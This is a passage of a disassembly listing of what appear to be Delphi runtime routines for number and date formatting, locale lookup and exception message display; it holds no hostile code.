sub_404DD6 proc near ; DATA XREF: CODE:00404D1Co ; CODE:00404D20o call sub_404D37 loc_404DDB: ; CODE XREF: sub_404E40:loc_404E89p mov edx, [ebp+8] cmp edx, 12h jb short loc_404DE8 mov edx, 12h loc_404DE8: ; CODE XREF: sub_404DD6+Bj movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_404DF5 mov al, 30h stosb jmp short loc_404E1F ; --------------------------------------------------------------------------- loc_404DF5: ; CODE XREF: sub_404DD6+18j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_404E07 mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_404E07: ; CODE XREF: sub_404DD6+25j ; sub_404DD6+3Bj ... call sub_404D2E stosb dec ecx jz short loc_404E1F dec ebx jnz short loc_404E07 mov al, [ebp-6] test al, al jz short loc_404E07 stosb mov bl, 3 jmp short loc_404E07 ; --------------------------------------------------------------------------- loc_404E1F: ; CODE XREF: sub_404DD6+1Dj ; sub_404DD6+38j or edx, edx jz short locret_404E3F mov al, [ebp-5] test al, al jz short loc_404E2B stosb loc_404E2B: ; CODE XREF: sub_404DD6+52j jecxz short loc_404E36 mov al, 30h loc_404E2F: ; CODE XREF: sub_404DD6+5Ej stosb dec edx jz short locret_404E3F inc ecx jnz short loc_404E2F loc_404E36: ; CODE XREF: sub_404DD6:loc_404E2Bj ; sub_404DD6+67j call sub_404D2E stosb dec edx jnz short loc_404E36 locret_404E3F: ; CODE XREF: sub_404DD6+4Bj ; sub_404DD6+5Bj retn sub_404DD6 endp ; =============== S U B R O U T I N E ======================================= sub_404E40 proc near ; DATA XREF: CODE:00404D24o xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_404E58 mov bl, [ebp-0Eh] mov ecx, 40Fh loc_404E58: ; CODE XREF: sub_404E40+Ej cmp bl, cl jbe short loc_404E5E mov bl, cl loc_404E5E: ; CODE XREF: sub_404E40+1Aj add bl, ch lea ebx, dword_404EA3[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_404E6F: ; CODE XREF: sub_404E40+51j mov al, [ebx] cmp al, 40h jz short locret_404E93 push ecx push ebx cmp al, 24h jz short loc_404E82 cmp al, 2Ah jz short loc_404E89 stosb jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E82: ; CODE XREF: sub_404E40+39j call sub_404E94 jmp short loc_404E8E ; --------------------------------------------------------------------------- loc_404E89: ; CODE XREF: sub_404E40+3Dj call loc_404DDB loc_404E8E: ; CODE XREF: sub_404E40+40j ; sub_404E40+47j pop ebx pop ecx inc ebx loop loc_404E6F locret_404E93: ; CODE XREF: sub_404E40+33j retn sub_404E40 endp ; =============== S U B R O U T I N E ======================================= sub_404E94 proc near ; CODE XREF: sub_404E40:loc_404E82p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_404EA1 mov ecx, [esi-4] rep movsb loc_404EA1: ; CODE XREF: sub_404E94+6j pop esi retn sub_404E94 endp ; --------------------------------------------------------------------------- dword_404EA3 dd 40402A24h ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_404C38 loc_404F07: ; CODE XREF: sub_404C38+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_404C38 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F10 proc near ; CODE XREF: sub_404C38+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00405133 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_404F33 call sub_40505F jmp loc_405133 ; --------------------------------------------------------------------------- loc_404F33: ; CODE XREF: sub_404F10+17j call sub_404F3D jmp loc_405133 sub_404F10 endp ; =============== S U B R O U T I N E ======================================= sub_404F3D proc near ; CODE XREF: sub_404F10:loc_404F33p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_404F68 cmp eax, 7FFFh jnz short loc_404F73 test word ptr [esi+6], 8000h jz short loc_404F6A cmp dword ptr [esi], 0 jnz short loc_404F67 cmp dword ptr [esi+4], 80000000h jz short loc_404F6A loc_404F67: ; CODE XREF: sub_404F3D+1Fj inc eax loc_404F68: ; CODE XREF: sub_404F3D+Bj ; sub_404F3D+AFj xor edx, edx loc_404F6A: ; CODE XREF: sub_404F3D+1Aj ; sub_404F3D+28j mov byte ptr [ebx+3], 0 jmp loc_405040 ; --------------------------------------------------------------------------- loc_404F73: ; CODE XREF: sub_404F3D+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_401C00 pop ebx frndint mov edi, [ebp-4] fld ds:tbyte_409100[edi] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_404FBE fidiv ds:flt_40910C[edi] inc dword ptr [ebp-8] loc_404FBE: ; CODE XREF: sub_404F3D+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_404FCA: ; CODE XREF: sub_404F3D+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_404FCA xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_404FF1 xor eax, eax jmp loc_404F68 ; --------------------------------------------------------------------------- loc_404FF1: ; CODE XREF: sub_404F3D+ABj cmp edi, [ebp+0Ch] jb short loc_404FF9 mov edi, [ebp+0Ch] loc_404FF9: ; CODE XREF: sub_404F3D+B7j cmp edi, 12h jnb short loc_405025 cmp byte ptr [ebx+edi+3], 35h jb short loc_40502A loc_405005: ; CODE XREF: sub_404F3D+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40501A inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_405005 jmp short loc_405039 ; --------------------------------------------------------------------------- loc_40501A: ; CODE XREF: sub_404F3D+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_405039 ; --------------------------------------------------------------------------- loc_405025: ; CODE XREF: sub_404F3D+BFj mov edi, 12h loc_40502A: ; CODE XREF: sub_404F3D+C6j ; sub_404F3D+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_40504B cmp byte ptr [ebx+edi+3], 30h jz short loc_40502A loc_405039: ; CODE XREF: sub_404F3D+DBj ; sub_404F3D+E6j mov dx, [esi+8] loc_40503D: ; CODE XREF: sub_404F3D+110j mov eax, [ebp-8] loc_405040: ; CODE XREF: sub_404F3D+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_40504B: ; CODE XREF: sub_404F3D+F3j ; DATA XREF: sub_40505F+60r xor edx, edx jmp short loc_40503D sub_404F3D endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_40505F proc near ; CODE XREF: sub_404F10+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_405125 or edx, edx jns short loc_405079 neg edx neg eax sbb edx, 0 loc_405079: ; CODE XREF: sub_40505F+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_405084 xor edi, edi loc_405084: ; CODE XREF: sub_40505F+21j cmp edi, 4 jl short loc_4050A8 mov edi, 4 loc_40508E: ; CODE XREF: sub_40505F+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_40508E dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_4050A8: ; CODE XREF: sub_40505F+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_4050C6 mov edi, [ebp-4] fidiv dword ptr loc_40504B[edi+eax*4] loc_4050C6: ; CODE XREF: sub_40505F+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_4050EC mov ecx, 9 loc_4050D6: ; CODE XREF: sub_40505F+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_4050FF mov al, ah and al, 0Fh jnz short loc_405106 dec ecx jnz short loc_4050D6 jmp short loc_405125 ; --------------------------------------------------------------------------- loc_4050EC: ; CODE XREF: sub_40505F+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_4050F6: ; CODE XREF: sub_40505F+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_4050FF: ; CODE XREF: sub_40505F+80j add al, 30h stosb mov al, ah and al, 0Fh loc_405106: ; CODE XREF: sub_40505F+86j add al, 30h stosb dec ecx jnz short loc_4050F6 mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_405114: ; CODE XREF: sub_40505F+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_405114 mov edx, [esi+4] shr edx, 1Fh jmp short loc_40512C ; --------------------------------------------------------------------------- loc_405125: ; CODE XREF: sub_40505F+9j ; sub_40505F+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_40512C: ; CODE XREF: sub_40505F+C4j mov [ebx], ax mov [ebx+2], dl retn sub_40505F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_404F10 loc_405133: ; CODE XREF: sub_404F10+1Ej ; sub_404F10+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_404F10 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40513C proc near ; CODE XREF: sub_4051B0+1Cp ; sub_4053C4+27p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h lea ecx, [ebp+var_100] push ecx push edx push eax call sub_403638 ; GetLocaleInfoA test eax, eax jle short loc_405175 mov ecx, eax dec ecx lea edx, [ebp+var_100] mov eax, ebx call sub_4026B4 jmp short loc_40517E ; --------------------------------------------------------------------------- loc_405175: ; CODE XREF: sub_40513C+25j mov eax, ebx mov edx, esi call sub_40261C loc_40517E: ; CODE XREF: sub_40513C+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_40513C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_405188 proc near ; CODE XREF: sub_4064C4+ADp ; sub_4064C4+C0p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 lea eax, [esp+14h+var_10] push eax push esi push edi call sub_403638 ; GetLocaleInfoA test eax, eax jle short loc_4051A9 mov al, [esp+10h+var_10] jmp short loc_4051AB ; --------------------------------------------------------------------------- loc_4051A9: ; CODE XREF: sub_405188+1Aj mov eax, ebx loc_4051AB: ; CODE XREF: sub_405188+1Fj pop edx pop edi pop esi pop ebx retn sub_405188 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051B0 proc near ; CODE XREF: sub_4051EC+46p ; sub_4051EC+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_40513C cmp dword ptr [ebx], 0 jnz short loc_4051E3 mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_4033B0 loc_4051E3: ; CODE XREF: sub_4051B0+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_4051B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4051EC proc near ; CODE XREF: sub_4064C4+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_4052FF push dword ptr fs:[eax] mov fs:[eax], esp call sub_403668 ; GetThreadLocale mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_40A6D8 mov edi, offset dword_40A708 loc_40521F: ; CODE XREF: sub_4051EC+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_409110 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_40261C push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_409140 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_4051B0 pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_40521F mov ebx, 1 mov esi, offset dword_40A738 mov edi, offset dword_40A754 loc_405280: ; CODE XREF: sub_4051EC+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_409170 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_4051B0 pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_40261C push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_40918C mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_4051B0 pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_40261C inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_405280 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405306 loc_4052F1: ; CODE XREF: sub_4051EC+118j lea eax, [ebp+var_18] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_4052FF: ; DATA XREF: sub_4051EC+11o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4052F1 ; --------------------------------------------------------------------------- loc_405306: ; CODE XREF: sub_4051EC+112j ; DATA XREF: sub_4051EC+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4051EC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405310 proc near ; DATA XREF: sub_4053C4+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_405324 ; --------------------------------------------------------------------------- loc_40531E: ; CODE XREF: sub_405310+1Cj cmp ebx, 7 jz short loc_405342 inc ebx loc_405324: ; CODE XREF: sub_405310+Cj cmp ds:dword_40A77C[ebx*4], 0 jnz short loc_40531E lea eax, dword_40A77C[ebx*4] mov edx, [ebp+arg_0] call sub_40279C mov esi, 1 loc_405342: ; CODE XREF: sub_405310+11j mov eax, esi pop esi pop ebx pop ebp retn 4 sub_405310 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40534C proc near ; DATA XREF: sub_4053C4+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_4053B1 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_405370 ; --------------------------------------------------------------------------- loc_40536A: ; CODE XREF: sub_40534C+2Cj cmp ebx, 7 jz short loc_40539B inc ebx loc_405370: ; CODE XREF: sub_40534C+1Cj cmp ds:dword_40A798[ebx*4], 0FFFFFFFFh jnz short loc_40536A lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_40279C mov eax, [ebp+var_4] xor edx, edx call sub_4043F0 mov ds:dword_40A798[ebx*4], eax mov esi, 1 loc_40539B: ; CODE XREF: sub_40534C+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_4053B8 loc_4053A8: ; CODE XREF: sub_40534C+6Aj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_4053B1: ; DATA XREF: sub_40534C+Ao jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_4053A8 ; --------------------------------------------------------------------------- loc_4053B8: ; CODE XREF: sub_40534C+64j ; DATA XREF: sub_40534C+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_40534C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053C4 proc near ; CODE XREF: sub_4064C4+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_40545B push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call sub_403668 ; GetThreadLocale mov ecx, offset dword_405470 mov edx, 100Bh call sub_40513C mov eax, [ebp+var_4] mov edx, 1 call sub_4043F0 mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_405445 push 4 push esi call sub_403668 ; GetThreadLocale push eax push offset sub_405310 call sub_4035E8 ; EnumCalendarInfoA mov edx, 7 mov eax, offset dword_40A79C loc_405426: ; CODE XREF: sub_4053C4+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_405426 push 3 push esi call sub_403668 ; GetThreadLocale push eax push offset sub_40534C call sub_4035E8 ; EnumCalendarInfoA loc_405445: ; CODE XREF: sub_4053C4+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405462 loc_405452: ; CODE XREF: sub_4053C4+9Cj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40545B: ; DATA XREF: sub_4053C4+9o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405452 ; --------------------------------------------------------------------------- loc_405462: ; CODE XREF: sub_4053C4+96j ; DATA XREF: sub_4053C4+89o pop esi pop ecx pop ebp retn sub_4053C4 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_405470 dd 31h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405474 proc near ; CODE XREF: sub_4064C4+11Cp ; sub_4064C4+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_40563E push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_4025C8 lea eax, [ebp+var_8] push eax call sub_403668 ; GetThreadLocale mov ecx, offset dword_405654 mov edx, 1009h call sub_40513C mov eax, [ebp+var_8] mov edx, 1 call sub_4043F0 add eax, 0FFFFFFFDh sub eax, 3 jb loc_405614 mov eax, ds:dword_40A774 sub eax, 4 jz short loc_4054E6 add eax, 0FFFFFFF3h sub eax, 2 jb short loc_4054E6 xor eax, eax jmp short loc_4054E8 ; --------------------------------------------------------------------------- loc_4054E6: ; CODE XREF: sub_405474+64j ; sub_405474+6Cj mov al, 1 loc_4054E8: ; CODE XREF: sub_405474+70j test al, al jz short loc_405521 jmp short loc_405511 ; --------------------------------------------------------------------------- loc_4054EE: ; CODE XREF: sub_405474+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_405510 sub al, 20h jz short loc_405510 lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_C] mov eax, edi call sub_402848 loc_405510: ; CODE XREF: sub_405474+80j ; sub_405474+84j inc ebx loc_405511: ; CODE XREF: sub_405474+78j mov eax, esi call sub_402840 cmp ebx, eax jle short loc_4054EE jmp loc_405623 ; --------------------------------------------------------------------------- loc_405521: ; CODE XREF: sub_405474+76j mov eax, edi mov edx, esi call sub_40261C jmp loc_405623 ; --------------------------------------------------------------------------- loc_40552F: ; CODE XREF: sub_405474+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_4090C8, eax jnb short loc_40556F mov edx, ebx mov eax, esi call sub_4061C0 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_402A94 mov edx, [ebp+var_10] mov eax, edi call sub_402848 add ebx, [ebp+var_4] jmp loc_405614 ; --------------------------------------------------------------------------- loc_40556F: ; CODE XREF: sub_405474+CBj mov edx, offset dword_405658 lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_405595 mov eax, edi mov edx, offset dword_405664 call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_405595: ; CODE XREF: sub_405474+110j mov edx, offset aYyyy ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_4045F0 test eax, eax jnz short loc_4055BD mov eax, edi mov edx, offset aEeee ; "eeee" call sub_402848 add ebx, 3 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055BD: ; CODE XREF: sub_405474+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_4045F0 test eax, eax jnz short loc_4055E3 mov eax, edi mov edx, offset dword_40568C call sub_402848 inc ebx jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055E3: ; CODE XREF: sub_405474+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_4055EF sub al, 20h jnz short loc_4055FD loc_4055EF: ; CODE XREF: sub_405474+175j mov eax, edi mov edx, offset dword_405698 call sub_402848 jmp short loc_405613 ; --------------------------------------------------------------------------- loc_4055FD: ; CODE XREF: sub_405474+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_40278C mov edx, [ebp+var_14] mov eax, edi call sub_402848 loc_405613: ; CODE XREF: sub_405474+11Fj ; sub_405474+147j ... inc ebx loc_405614: ; CODE XREF: sub_405474+56j ; sub_405474+F6j mov eax, esi call sub_402840 cmp ebx, eax jle loc_40552F loc_405623: ; CODE XREF: sub_405474+A8j ; sub_405474+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405645 loc_405630: ; CODE XREF: sub_405474+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_4025EC retn ; --------------------------------------------------------------------------- loc_40563E: ; DATA XREF: sub_405474+14o jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405630 ; --------------------------------------------------------------------------- loc_405645: ; CODE XREF: sub_405474+1C9j ; DATA XREF: sub_405474+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_405474 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_405654 dd 31h dword_405658 dd 6767h, 0FFFFFFFFh, 3dword_405664 dd 676767h aYyyy db 'yyyy',0 ; DATA XREF: sub_405474:loc_405595o align 10h dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_405474+13Ao align 10h aYy db 'yy',0 ; DATA XREF: sub_405474:loc_4055BDo align 4 dd 0FFFFFFFFh, 2 dword_40568C dd 6565h, 0FFFFFFFFh, 1dword_405698 dd 65h ; =============== S U B R O U T I N E ======================================= sub_40569C proc near ; CODE XREF: CODE:0040570Bp test eax, eax jz short locret_4056A5 sub eax, 1000h locret_4056A5: ; CODE XREF: sub_40569C+2j retn sub_40569C endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call sub_403688 ; VirtualQuery cmp dword ptr [ebp-320h], 1000h jnz short loc_4056F2 push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call sub_403640 ; GetModuleFileNameA test eax, eax jnz short loc_405715 loc_4056F2: ; CODE XREF: CODE:004056D4j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_40A694 push eax call sub_403640 ; GetModuleFileNameA mov eax, ebx call sub_40569C mov [ebp-8], eax jmp short loc_40571E ; --------------------------------------------------------------------------- loc_405715: ; CODE XREF: CODE:004056F0j sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_40571E: ; CODE XREF: CODE:00405713j lea eax, [ebp-212h] mov dl, 5Ch call sub_4061FC mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_4045BC mov ebx, offset dword_405828 mov edi, offset dword_405828 mov eax, esi mov edx, off_4039D8 call sub_401FD4 test al, al jz short loc_40577A mov eax, [esi+4] call sub_402A38 mov ebx, eax mov eax, ebx call sub_404594 test eax, eax jz short loc_40577A cmp byte ptr [ebx+eax-1], 2Eh jz short loc_40577A mov edi, offset dword_40582C loc_40577A: ; CODE XREF: CODE:00405757j ; CODE:0040576Cj ... push 100h lea eax, [ebp-312h] push eax mov eax, ds:off_409404 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call sub_4036A8 ; LoadStringA lea edx, [ebp-458h] mov eax, [esi] call sub_401EF4 lea eax, [ebp-458h] mov [ebp-358h], eax mov byte ptr [ebp-354h], 4 lea eax, [ebp-10Dh] mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_404AE0 mov eax, [ebp-4] call sub_404594 pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 4 dword_405828 dd 0 ; CODE:00405743o dword_40582C dd 2Eh, 0FBBCC481h, 68FFFFh, 8D000004h, 0E848244Ch, 0FFFFFE64h ; DATA XREF: CODE:00405775o ; --------------------------------------------------------------------------- mov eax, ds:off_4093C0 cmp byte ptr [eax], 0 jz short loc_40589D mov eax, ds:off_409320 call sub_401830 call sub_4012E4 push 0 lea eax, [esp+4] push eax lea eax, [esp+4Ch] call sub_404594 push eax lea eax, [esp+50h] push eax push 0FFFFFFF5h call sub_403658 ; GetStdHandle push eax call sub_403690 ; WriteFile push 0 lea eax, [esp+4] push eax push 2 push offset dword_4058E4 push 0FFFFFFF5h call sub_403658 ; GetStdHandle push eax call sub_403690 ; WriteFile jmp short loc_4058D3 ; --------------------------------------------------------------------------- loc_40589D: ; CODE XREF: CODE:0040584Cj push 40h lea eax, [esp+8] push eax mov eax, ds:off_409304 mov eax, [eax+4] push eax mov eax, ds:dword_40A694 call sub_402F04 push eax call sub_4036A8 ; LoadStringA push 2010h lea eax, [esp+8] push eax lea eax, [esp+4Ch] push eax push 0 call sub_4036B0 ; MessageBoxA loc_4058D3: ; CODE XREF: CODE:0040589Bj add esp, 444h retn ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 2 dword_4058E4 dd 0A0Dh ; =============== S U B R O U T I N E ======================================= sub_4058E8 proc near ; CODE XREF: sub_405AA0+32p ; sub_405B20+38p ... push ebx push esi push edi test dl, dl jz short loc_4058F7 add esp, 0FFFFFFF0h call sub_402078 loc_4058F7: ; CODE XREF: sub_4058E8+5j mov esi, ecx mov ebx, edx mov edi, eax lea eax, [edi+4] mov edx, esi call sub_40261C mov eax, edi test bl, bl jz short loc_40591C call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40591C: ; CODE XREF: sub_4058E8+23j mov eax, edi pop edi pop esi pop ebx retn sub_4058E8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405924 proc near ; CODE XREF: sub_405B74+77p ; sub_405CFC+127p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push ebx push esi push edi test dl, dl jz short loc_405938 add esp, 0FFFFFFF0h call sub_402078 loc_405938: ; CODE XREF: sub_405924+Aj mov esi, ecx mov ebx, edx mov edi, eax xor eax, eax push ebp push offset loc_40597E push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] mov eax, esi call sub_404B20 mov edx, [ebp+var_4] lea eax, [edi+4] call sub_40261C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405985 loc_405975: ; CODE XREF: sub_405924+5Fj lea eax, [ebp+var_4] call sub_4025C8 retn ; --------------------------------------------------------------------------- loc_40597E: ; DATA XREF: sub_405924+1Do jmp loc_4022D0 ; --------------------------------------------------------------------------- jmp short loc_405975 ; --------------------------------------------------------------------------- loc_405985: ; CODE XREF: sub_405924+59j ; DATA XREF: sub_405924+4Co mov eax, edi test bl, bl jz short loc_40599A call sub_4020D0 pop large dword ptr fs:0 add esp, 0Ch loc_40599A: ; 